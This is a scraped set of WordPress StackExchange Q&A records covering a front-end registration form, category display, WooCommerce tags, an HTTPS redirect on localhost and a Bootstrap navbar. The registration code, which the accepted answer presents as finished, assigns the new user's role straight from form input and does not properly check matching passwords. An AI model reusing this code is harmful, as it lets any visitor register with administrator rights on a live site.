need to use <a href=\"https://codex.wordpress.org/Function_Reference/add_user_meta\" rel=\"nofollow noreferrer\">add_user_meta</a> or <a href=\"https://codex.wordpress.org/Function_Reference/update_user_meta\" rel=\"nofollow noreferrer\">update_user_meta</a> (Please read carefully on the parameters of these functions as they allow you add multiple same usermeta keys or only just one unique meta_key depending how you set your params.) </p></li>\n</ol>\n\n<p>The other function usage issues here and also erroneous code logic:</p>\n\n<ol>\n<li>You used <code>wp_update_user</code> before the wp_insert_user. Is the current user trying to create a new user and store the <em>broker_email</em> as a meta field to himself also? </li>\n<li>If that's the case, you need to also use the <code>add_user_meta</code> function, and use <a href=\"https://developer.wordpress.org/reference/functions/get_current_user_id/\" rel=\"nofollow noreferrer\">get_current_user_id()</a> function rather than calling <code>$current_user</code> as this global variable is not directly accessible in your function. You need to invoke it in your function with <code>global $current_user</code> if you want to access it, but using the WP functions is better.</li>\n<li><code>esc_attr</code> and other filter functions shouldn't be used to alter some user fields which need to stay exactly the same as they were inputted by the user or they will just get a modified login username or password which obviously is not desired in most cases. You can run validation methods on them and tell the user that the fields are not acceptable, but you should not just modify them and save them in the db. For text contents like post content that could be fine as that depend on your system etc, but definitely not for user credentials. </li>\n</ol>\n\n<p>Use PHP manual and WordPress codex to look up specific usage of functions. Understanding exactly how they work is needed to do good WP development.</p>\n" }, { "answer_id": 285778, "author": "730wavy", "author_id": 24067, "author_profile": "https://wordpress.stackexchange.com/users/24067", "pm_score": 2, "selected": true, "text": "<p>With the help of something @TurtleTread said, I managed to get it working. My code was fine except had to change two things. I removed the custom field from my <strong>$user_data</strong>, and added this after right after <strong>wp_insert_user</strong> -- </p>\n\n<pre><code> add_user_meta($user_id, 'broker_email', $b_email);\n</code></pre>\n\n<p>Here's my final code in my functions.php file --</p>\n\n<pre><code>add_action('template_redirect', 'register_a_user');\nfunction register_a_user(){\n if(isset($_GET['do']) &amp;&amp; $_GET['do'] == 'register'):\n $errors = array();\n if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email';\n if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer';\n if(!empty($_POST['pass1']) &amp;&amp; !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match';\n\n $account = esc_attr($_POST['account_type']);\n $user_login = esc_attr($_POST['user']);\n $user_email = esc_attr($_POST['email']);\n $user_pass = esc_attr($_POST['pass1']);\n $user_pass2 = esc_attr($_POST['pass2']);\n $user_first = $_POST['first_name'];\n $user_last = $_POST['last_name'];\n $b_email = $_POST['broker_email'];\n\n require_once(ABSPATH.WPINC.'/registration.php');\n\n $sanitized_user_login = sanitize_user($user_login);\n $user_email = apply_filters('user_registration_email', $user_email);\n\n if(!is_email($user_email)) $errors[] = 'invalid e-mail';\n elseif(email_exists($user_email)) $errors[] = 'this email is already registered';\n\n if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name';\n elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists';\n\n if(empty($errors)):\n if ( $_POST['pass1'] == $_POST['pass2'] ) {\n\n $user_data = array (\n 'user_login' =&gt; $sanitized_user_login,\n 'user_pass' =&gt; $user_pass, \n 'user_email' =&gt; $user_email,\n 'user_first' =&gt; $user_first,\n 'user_last' =&gt; $user_last,\n 'role' =&gt; $account\n );\n\n // Create the user\n $user_id = wp_insert_user( $user_data );\n add_user_meta($user_id, 'broker_email', $b_email);\n} else { \n$errors[] = 'passwords dont match'; \n}\n if(!$user_id):\n $errors[] = 'registration failed...';\n else:\n wp_new_user_notification($user_id);\n endif;\n endif;\n\n if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors));\n else define('REGISTERED_A_USER', $user_email);\n endif;\n}\n</code></pre>\n\n<p>Also if you want them to be logged in automatically, you can add this function right after --</p>\n\n<pre><code>function auto_login_new_user( $user_id ) {\n wp_set_current_user($user_id);\n wp_set_auth_cookie($user_id);\n // You can change home_url() to the specific URL,such as \n wp_redirect( 'http://YOURURL.COM' );\n }\n add_action( 'user_register', 'auto_login_new_user' );\n</code></pre>\n" } ]
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285583", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24067/" ]
Im currently working on a front end form using some code found here - [orginal](https://wordpress.stackexchange.com/questions/7134/front-end-register-form) ``` add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) && $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(empty($_POST['first_name']) || empty($_POST['last_name'])) $errors[] = 'provide name'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) && !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = esc_attr($_POST['first_name']); $user_last = esc_attr($_POST['last_name']); $b_email = esc_attr($_POST['broker_email']); wp_update_user( array( 'ID' => $current_user->ID, 'broker_email' => esc_url( $_POST['broker_email'] ) ) ); require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' => $sanitized_user_login, 'user_pass' => $user_pass, 'user_email' => $user_email, 'user_first' => $user_first, 'user_last' => $user_last, 'b_email' => $b_email, 'role' => $account ); // Create the user $user_id = wp_insert_user( $user_data ); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } ``` On my register form I tried adding these 3 fields ``` <input type="text" name="broker_email" class="form-control" value="" /> <input type="text" name="first_name" class="form-control" value="" /> <input type="text" name="last_name" class="form-control" value="" /> ``` Everything almost works fine except the name fields arent saving and the "broker email" fields arent saving. What am I doing wrong?
With the help of something @TurtleTread said, I managed to get it working. My code was fine except had to change two things. I removed the custom field from my **$user\_data**, and added this after right after **wp\_insert\_user** -- ``` add_user_meta($user_id, 'broker_email', $b_email); ``` Here's my final code in my functions.php file -- ``` add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) && $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) && !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = $_POST['first_name']; $user_last = $_POST['last_name']; $b_email = $_POST['broker_email']; require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' => $sanitized_user_login, 'user_pass' => $user_pass, 'user_email' => $user_email, 'user_first' => $user_first, 'user_last' => $user_last, 'role' => $account ); // Create the user $user_id = wp_insert_user( $user_data ); add_user_meta($user_id, 'broker_email', $b_email); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } ``` Also if you want them to be logged in automatically, you can add this function right after -- ``` function auto_login_new_user( $user_id ) { wp_set_current_user($user_id); wp_set_auth_cookie($user_id); // You can change home_url() to the specific URL,such as wp_redirect( 'http://YOURURL.COM' ); } add_action( 'user_register', 'auto_login_new_user' ); ```
285,586
<p>I'm stuck in a strange situation right now. So I have my wordpress posts which belong to multiple categories. e.g one of my post belongs to two categories. One is 'News' category, and the other one is 'Top Bar'. (I use it to assign posts to the header posts area which fetches its articles from 'Top Bar' category.</p> <p>The problem i'm facing is that I want to show only the 'News' Category name on the post block. Right now it randomly selects one of the selected category's name from the list and displays it. Every time I refresh the page, the post block shows the name of one of the two. I just want the main one to show which is called 'News'. </p> <p>Now if you visit this link <a href="http://thexpatt.com/news" rel="nofollow noreferrer">http://thexpatt.com/news</a> , the posts category title will be News with some them showing top news. if you keep refreshing the page, the title was keep switching. In reality, all those posts have the Top News category as well as news category.</p> <p>I'm attaching a screenshot for your understanding. <strong>I refreshed the page multiple times. Notice the difference in categories display name blocks over the posts.</strong></p> <p><a href="https://i.stack.imgur.com/iCNVL.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iCNVL.jpg" alt="1st Visit"></a></p> <p><a href="https://i.stack.imgur.com/3QBdD.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3QBdD.jpg" alt="3rd Visit"></a></p> <p>My theme calling one of the selected categories randomly. If yes, how do I make it call the first one only or how do i exclude certain categories from being selected. </p> <p><strong>EDITED</strong> </p> <p><strong>Code i found in post.php</strong> it even says randon ID. how do i change that to ?</p> <pre><code>$postCategories = get_the_category($post-&gt;ID); $slug = ''; foreach($postCategories as $catSlug) { $slug.= $catSlug-&gt;slug." "; } $categories = wp_get_post_categories($post-&gt;ID); if(!empty($categories)){ $catCount = count($categories); **//select a random category id** $id = rand(0,$catCount-1); //cat id $catId = $categories[$id]; } else { $catId = false; } </code></pre> <p>OR HELP check if the yoast primary category is selected and print that. Yoast category inclusion code is something like this. (As found on the Internet).</p> <pre><code> $primary_cat_id=get_post_meta($product&gt;id,'_yoast_wpseo_primary_product_cat',true); if($primary_cat_id){ $product_cat = get_term($primary_cat_id, 'product_cat'); if(isset($product_cat-&gt;name)) echo $product_cat-&gt;name; } </code></pre> <p>Thanks a lot.</p>
[ { "answer_id": 285630, "author": "TurtleTread", "author_id": 117263, "author_profile": "https://wordpress.stackexchange.com/users/117263", "pm_score": 0, "selected": false, "text": "<p>I see you are a designer, so you may not have had much experience with coding and database. From the issues in the code, you have a minimal understanding of PHP and WordPress functions. Do not take this as offense as I'm simply pointing out that you may need to read up a bit more on PHP and WordPress docs (a pain but a necessity if you want to code more working PHP and WP scripts).</p>\n\n<p>Three primary issues that's causing the fields not saving :</p>\n\n<ol>\n<li><p>Your 4th validation check simply checks if both passwords are not empty, which then always will return true if you supplied input for both fields. Your matching check from the later code is correct and you should use that there.</p></li>\n<li><p><a href=\"https://codex.wordpress.org/Function_Reference/wp_insert_user\" rel=\"nofollow noreferrer\">wp_insert_user</a> takes only pre-defined keys specified in the linked doc. Take a look at that and modify your keys. </p></li>\n<li><p>Your <em>b_email</em> is a custom usermeta field (If you have database access, you can take a look at the wp_users and the columns there are basically the ones that you can directly update using <code>wp_insert_user</code> or <code>wp_update_user</code>). So to store custom fields, you need to use <a href=\"https://codex.wordpress.org/Function_Reference/add_user_meta\" rel=\"nofollow noreferrer\">add_user_meta</a> or <a href=\"https://codex.wordpress.org/Function_Reference/update_user_meta\" rel=\"nofollow noreferrer\">update_user_meta</a> (Please read carefully on the parameters of these functions as they allow you add multiple same usermeta keys or only just one unique meta_key depending how you set your params.) </p></li>\n</ol>\n\n<p>The other function usage issues here and also erroneous code logic:</p>\n\n<ol>\n<li>You used <code>wp_update_user</code> before the wp_insert_user. Is the current user trying to create a new user and store the <em>broker_email</em> as a meta field to himself also? </li>\n<li>If that's the case, you need to also use the <code>add_user_meta</code> function, and use <a href=\"https://developer.wordpress.org/reference/functions/get_current_user_id/\" rel=\"nofollow noreferrer\">get_current_user_id()</a> function rather than calling <code>$current_user</code> as this global variable is not directly accessible in your function. You need to invoke it in your function with <code>global $current_user</code> if you want to access it, but using the WP functions is better.</li>\n<li><code>esc_attr</code> and other filter functions shouldn't be used to alter some user fields which need to stay exactly the same as they were inputted by the user or they will just get a modified login username or password which obviously is not desired in most cases. You can run validation methods on them and tell the user that the fields are not acceptable, but you should not just modify them and save them in the db. For text contents like post content that could be fine as that depend on your system etc, but definitely not for user credentials. </li>\n</ol>\n\n<p>Use PHP manual and WordPress codex to look up specific usage of functions. Understanding exactly how they work is needed to do good WP development.</p>\n" }, { "answer_id": 285778, "author": "730wavy", "author_id": 24067, "author_profile": "https://wordpress.stackexchange.com/users/24067", "pm_score": 2, "selected": true, "text": "<p>With the help of something @TurtleTread said, I managed to get it working. My code was fine except had to change two things. I removed the custom field from my <strong>$user_data</strong>, and added this after right after <strong>wp_insert_user</strong> -- </p>\n\n<pre><code> add_user_meta($user_id, 'broker_email', $b_email);\n</code></pre>\n\n<p>Here's my final code in my functions.php file --</p>\n\n<pre><code>add_action('template_redirect', 'register_a_user');\nfunction register_a_user(){\n if(isset($_GET['do']) &amp;&amp; $_GET['do'] == 'register'):\n $errors = array();\n if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email';\n if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer';\n if(!empty($_POST['pass1']) &amp;&amp; !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match';\n\n $account = esc_attr($_POST['account_type']);\n $user_login = esc_attr($_POST['user']);\n $user_email = esc_attr($_POST['email']);\n $user_pass = esc_attr($_POST['pass1']);\n $user_pass2 = esc_attr($_POST['pass2']);\n $user_first = $_POST['first_name'];\n $user_last = $_POST['last_name'];\n $b_email = $_POST['broker_email'];\n\n require_once(ABSPATH.WPINC.'/registration.php');\n\n $sanitized_user_login = sanitize_user($user_login);\n $user_email = apply_filters('user_registration_email', $user_email);\n\n if(!is_email($user_email)) $errors[] = 'invalid e-mail';\n elseif(email_exists($user_email)) $errors[] = 'this email is already registered';\n\n if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name';\n elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists';\n\n if(empty($errors)):\n if ( $_POST['pass1'] == $_POST['pass2'] ) {\n\n $user_data = array (\n 'user_login' =&gt; $sanitized_user_login,\n 'user_pass' =&gt; $user_pass, \n 'user_email' =&gt; $user_email,\n 'user_first' =&gt; $user_first,\n 'user_last' =&gt; $user_last,\n 'role' =&gt; $account\n );\n\n // Create the user\n $user_id = wp_insert_user( $user_data );\n add_user_meta($user_id, 'broker_email', $b_email);\n} else { \n$errors[] = 'passwords dont match'; \n}\n if(!$user_id):\n $errors[] = 'registration failed...';\n else:\n wp_new_user_notification($user_id);\n endif;\n endif;\n\n if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors));\n else define('REGISTERED_A_USER', $user_email);\n endif;\n}\n</code></pre>\n\n<p>Also if you want them to be logged in automatically, you can add this function right after --</p>\n\n<pre><code>function auto_login_new_user( $user_id ) {\n wp_set_current_user($user_id);\n wp_set_auth_cookie($user_id);\n // You can change home_url() to the specific URL,such as \n wp_redirect( 'http://YOURURL.COM' );\n }\n add_action( 'user_register', 'auto_login_new_user' );\n</code></pre>\n" } ]
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285586", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131209/" ]
I'm stuck in a strange situation right now. So I have my wordpress posts which belong to multiple categories. e.g one of my post belongs to two categories. One is 'News' category, and the other one is 'Top Bar'. (I use it to assign posts to the header posts area which fetches its articles from 'Top Bar' category. The problem i'm facing is that I want to show only the 'News' Category name on the post block. Right now it randomly selects one of the selected category's name from the list and displays it. Every time I refresh the page, the post block shows the name of one of the two. I just want the main one to show which is called 'News'. Now if you visit this link <http://thexpatt.com/news> , the posts category title will be News with some them showing top news. if you keep refreshing the page, the title was keep switching. In reality, all those posts have the Top News category as well as news category. I'm attaching a screenshot for your understanding. **I refreshed the page multiple times. Notice the difference in categories display name blocks over the posts.** [![1st Visit](https://i.stack.imgur.com/iCNVL.jpg)](https://i.stack.imgur.com/iCNVL.jpg) [![3rd Visit](https://i.stack.imgur.com/3QBdD.jpg)](https://i.stack.imgur.com/3QBdD.jpg) My theme calling one of the selected categories randomly. If yes, how do I make it call the first one only or how do i exclude certain categories from being selected. **EDITED** **Code i found in post.php** it even says randon ID. how do i change that to ? ``` $postCategories = get_the_category($post->ID); $slug = ''; foreach($postCategories as $catSlug) { $slug.= $catSlug->slug." "; } $categories = wp_get_post_categories($post->ID); if(!empty($categories)){ $catCount = count($categories); **//select a random category id** $id = rand(0,$catCount-1); //cat id $catId = $categories[$id]; } else { $catId = false; } ``` OR HELP check if the yoast primary category is selected and print that. Yoast category inclusion code is something like this. (As found on the Internet). ``` $primary_cat_id=get_post_meta($product>id,'_yoast_wpseo_primary_product_cat',true); if($primary_cat_id){ $product_cat = get_term($primary_cat_id, 'product_cat'); if(isset($product_cat->name)) echo $product_cat->name; } ``` Thanks a lot.
With the help of something @TurtleTread said, I managed to get it working. My code was fine except had to change two things. I removed the custom field from my **$user\_data**, and added this after right after **wp\_insert\_user** -- ``` add_user_meta($user_id, 'broker_email', $b_email); ``` Here's my final code in my functions.php file -- ``` add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) && $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) && !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = $_POST['first_name']; $user_last = $_POST['last_name']; $b_email = $_POST['broker_email']; require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' => $sanitized_user_login, 'user_pass' => $user_pass, 'user_email' => $user_email, 'user_first' => $user_first, 'user_last' => $user_last, 'role' => $account ); // Create the user $user_id = wp_insert_user( $user_data ); add_user_meta($user_id, 'broker_email', $b_email); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } ``` Also if you want them to be logged in automatically, you can add this function right after -- ``` function auto_login_new_user( $user_id ) { wp_set_current_user($user_id); wp_set_auth_cookie($user_id); // You can change home_url() to the specific URL,such as wp_redirect( 'http://YOURURL.COM' ); } add_action( 'user_register', 'auto_login_new_user' ); ```
285,593
<p>I need to display all tag names in front end,I have tried </p> <p><code>$terms=get_terms('product_tag');</code></p> <p>But it returns null.</p> <p>Can anyone please help me How to get it?</p>
[ { "answer_id": 285606, "author": "Shamsur Rahman", "author_id": 92258, "author_profile": "https://wordpress.stackexchange.com/users/92258", "pm_score": 3, "selected": true, "text": "<p>You need to loop through the array and create a separate array to check in_array because get_terms return object with in array.</p>\n\n<pre><code>$terms = get_terms( 'product_tag' );\n$term_array = array();\nif ( ! empty( $terms ) &amp;&amp; ! is_wp_error( $terms ) ){\n foreach ( $terms as $term ) {\n $term_array[] = $term-&gt;name;\n }\n}\n</code></pre>\n\n<p><a href=\"https://stackoverflow.com/questions/31904758/woocommerce-get-product-tags-in-array\">solution from stackoverflow click for more details</a></p>\n" }, { "answer_id": 376335, "author": "Andreas Myriounis", "author_id": 161321, "author_profile": "https://wordpress.stackexchange.com/users/161321", "pm_score": 2, "selected": false, "text": "<p>You can now use the <a href=\"https://github.com/woocommerce/woocommerce/blob/master/includes/wc-product-functions.php#L1129\" rel=\"nofollow noreferrer\"><code>wc_get_product_tag_list()</code></a> function to get a list of the product's tags. It supports providing a separator along with before and after elements.</p>\n<p><strong>Example</strong></p>\n<pre><code>&lt;?php\n global $product;\n?&gt;\n &lt;div class=&quot;product-tags&quot;&gt;\n &lt;?php echo wc_get_product_tag_list( $product-&gt;get_id(), ', ' ); ?&gt;\n &lt;/div&gt;\n</code></pre>\n" } ]
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285593", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/116618/" ]
I need to display all tag names in front end,I have tried `$terms=get_terms('product_tag');` But it returns null. Can anyone please help me How to get it?
You need to loop through the array and create a separate array to check in\_array because get\_terms return object with in array. ``` $terms = get_terms( 'product_tag' ); $term_array = array(); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $term_array[] = $term->name; } } ``` [solution from stackoverflow click for more details](https://stackoverflow.com/questions/31904758/woocommerce-get-product-tags-in-array)
285,598
<p>I want to show my new post published live in page without refresh. something like breaking news in blog websites.</p> <p>How can i do this? anybody knows?</p>
[ { "answer_id": 285606, "author": "Shamsur Rahman", "author_id": 92258, "author_profile": "https://wordpress.stackexchange.com/users/92258", "pm_score": 3, "selected": true, "text": "<p>You need to loop through the array and create a separate array to check in_array because get_terms return object with in array.</p>\n\n<pre><code>$terms = get_terms( 'product_tag' );\n$term_array = array();\nif ( ! empty( $terms ) &amp;&amp; ! is_wp_error( $terms ) ){\n foreach ( $terms as $term ) {\n $term_array[] = $term-&gt;name;\n }\n}\n</code></pre>\n\n<p><a href=\"https://stackoverflow.com/questions/31904758/woocommerce-get-product-tags-in-array\">solution from stackoverflow click for more details</a></p>\n" }, { "answer_id": 376335, "author": "Andreas Myriounis", "author_id": 161321, "author_profile": "https://wordpress.stackexchange.com/users/161321", "pm_score": 2, "selected": false, "text": "<p>You can now use the <a href=\"https://github.com/woocommerce/woocommerce/blob/master/includes/wc-product-functions.php#L1129\" rel=\"nofollow noreferrer\"><code>wc_get_product_tag_list()</code></a> function to get a list of the product's tags. It supports providing a separator along with before and after elements.</p>\n<p><strong>Example</strong></p>\n<pre><code>&lt;?php\n global $product;\n?&gt;\n &lt;div class=&quot;product-tags&quot;&gt;\n &lt;?php echo wc_get_product_tag_list( $product-&gt;get_id(), ', ' ); ?&gt;\n &lt;/div&gt;\n</code></pre>\n" } ]
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285598", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/89477/" ]
I want to show my new post published live in page without refresh. something like breaking news in blog websites. How can i do this? anybody knows?
You need to loop through the array and create a separate array to check in\_array because get\_terms return object with in array. ``` $terms = get_terms( 'product_tag' ); $term_array = array(); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $term_array[] = $term->name; } } ``` [solution from stackoverflow click for more details](https://stackoverflow.com/questions/31904758/woocommerce-get-product-tags-in-array)
285,676
<p>I recently set up a live WordPress site on my local environment through Duplicator. I can access the <code>wp-admin</code> but I cannot access the main site as wp redirects the site from <code>http</code> to <code>https</code> automatically. I checked the <code>.htaccess</code>, but no luck. I checked the <code>wp_options</code> table and it has an entry of the site with <code>http</code> not <code>https</code>. Can you tell what seems to be the problem and what files should I be looking at? Thanks.</p> <p>Edit: I cleaned the browser cache (even ran it on incognito), still no luck.</p>
[ { "answer_id": 285678, "author": "Misha Rudrastyh", "author_id": 85985, "author_profile": "https://wordpress.stackexchange.com/users/85985", "pm_score": 0, "selected": false, "text": "<p>Well, if you can access /wp-admin/, the solution is pretty simple - clean your browser cache or try to open your website in incognito tab.</p>\n" }, { "answer_id": 315753, "author": "lookiron", "author_id": 151679, "author_profile": "https://wordpress.stackexchange.com/users/151679", "pm_score": 0, "selected": false, "text": "<p>You should comment out these lines in <code>.htaccess</code> file </p>\n\n<pre><code>#RewriteCond %{ENV:HTTPS} !=on\n#RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]\n</code></pre>\n" }, { "answer_id": 321410, "author": "busythomas", "author_id": 153125, "author_profile": "https://wordpress.stackexchange.com/users/153125", "pm_score": 3, "selected": false, "text": "<p>Well, at my situation... I downloaded the company website from production to localhost because I was needed to prepare a development environment for some developers. The production is using https:// and at localhost http://, and when I ran it the first time on localhost, it always redirected me to the https://.</p>\n\n<p>And, I have managed to made this working on my localhost simply by adding the following lines in the wp-config.php (my wp version was 4.9.8):</p>\n\n<pre><code>define('FORCE_SSL', false);\ndefine('FORCE_SSL_ADMIN', false);\n</code></pre>\n\n<p>Good luck!</p>\n" }, { "answer_id": 351107, "author": "Arif I.", "author_id": 138483, "author_profile": "https://wordpress.stackexchange.com/users/138483", "pm_score": 3, "selected": false, "text": "<p>Make sure you don't have installed and activated a plugin that forces a redirection to HTTPS, for example, the <a href=\"https://wordpress.org/plugins/really-simple-ssl/\" rel=\"noreferrer\">Really Simple SSL</a>. If you have one, deactivate it on the localhost by renaming the plugin folder name, e.g. rename it from <code>\"really-simple-ssl\"</code> to <code>\"really-simple-ssl_deactivated\"</code>. Now you should be able to access your <code>wp-admin</code> URL.</p>\n" }, { "answer_id": 374473, "author": "pensebien", "author_id": 189698, "author_profile": "https://wordpress.stackexchange.com/users/189698", "pm_score": 0, "selected": false, "text": "<p>You can easily do it with <code>wp cli</code>.</p>\n<ol>\n<li>Install <code>wp-cli</code> using the instruction <a href=\"https://wp-cli.org#installing\" rel=\"nofollow noreferrer\">here</a></li>\n<li>run <code>wp plugin deactivate really-simple-ssl</code> from terminal.</li>\n</ol>\n<p>You can also add autocomplete to your bash terminal so you can easily see suggestion of plugins you have installed.</p>\n" } ]
2017/11/12
[ "https://wordpress.stackexchange.com/questions/285676", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130633/" ]
I recently set up a live WordPress site on my local environment through Duplicator. I can access the `wp-admin` but I cannot access the main site as wp redirects the site from `http` to `https` automatically. I checked the `.htaccess`, but no luck. I checked the `wp_options` table and it has an entry of the site with `http` not `https`. Can you tell what seems to be the problem and what files should I be looking at? Thanks. Edit: I cleaned the browser cache (even ran it on incognito), still no luck.
Well, at my situation... I downloaded the company website from production to localhost because I was needed to prepare a development environment for some developers. The production is using https:// and at localhost http://, and when I ran it the first time on localhost, it always redirected me to the https://. And, I have managed to made this working on my localhost simply by adding the following lines in the wp-config.php (my wp version was 4.9.8): ``` define('FORCE_SSL', false); define('FORCE_SSL_ADMIN', false); ``` Good luck!
285,682
<p>The theme I am creating is not working correctly. The menu is not collapsing into mobile view with the hamburger icon when I decrease screen size. I can see all the classes when using the inspect tool on Chrome.</p> <p>What I have tried:</p> <ol> <li>Compared the code to a theme I made as exercise and it looks exactly the same.</li> <li>Pasted the navbar example from bootstrap directly and tested(didn't collapse either).</li> <li>Used the links on bootstrap like <a href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="nofollow noreferrer">https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css</a> and <a href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" rel="nofollow noreferrer">https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js</a> to make use of the styling and functionality.</li> <li>Downloaded the bootstrap files and linked it locally.</li> </ol> <p>Please see my header.php and functions.php below:</p> <p><strong>Header.php</strong></p> <pre><code>&lt;!DOCTYPE html&gt; &lt;head&gt; &lt;title&gt;&lt;/title&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt;&gt; &lt;nav class="navbar navbar-default navbar-fixed-top &lt;?php admin_bar_menu(); ?&gt;"&gt; &lt;div class="container-fluid menu-container"&gt; &lt;!-- Brand and toggle get grouped for better mobile display --&gt; &lt;div class="navbar-header"&gt; &lt;button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false"&gt; &lt;span class="sr-only"&gt;Toggle navigation&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;/button&gt; &lt;a class="navbar-brand" href="&lt;?php echo esc_url( home_url('/')); ?&gt;"&gt;&lt;?php bloginfo( 'name' ); ?&gt;&lt;/a&gt; &lt;/div&gt; &lt;!-- Collect the nav links, forms, and other content for toggling --&gt; &lt;div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"&gt; &lt;?php wp_nav_menu(array( 'theme_location' =&gt; 'primary', 'menu_class' =&gt; 'nav navbar-nav navbar-right', 'fallback_cb' =&gt; false )); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/nav&gt; </code></pre> <p><strong>Functions.php</strong></p> <pre><code>&lt;?php function winetours_scripts() { wp_enqueue_script( "bootstrap-js", get_template_directory_uri() . "/bootstrap/js/bootstrap.min.js", array("jquery") ); wp_enqueue_style( "bootstrap", get_template_directory_uri() . "/bootstrap/css/bootstrap.min.css"); wp_enqueue_style( "winetour-style" , 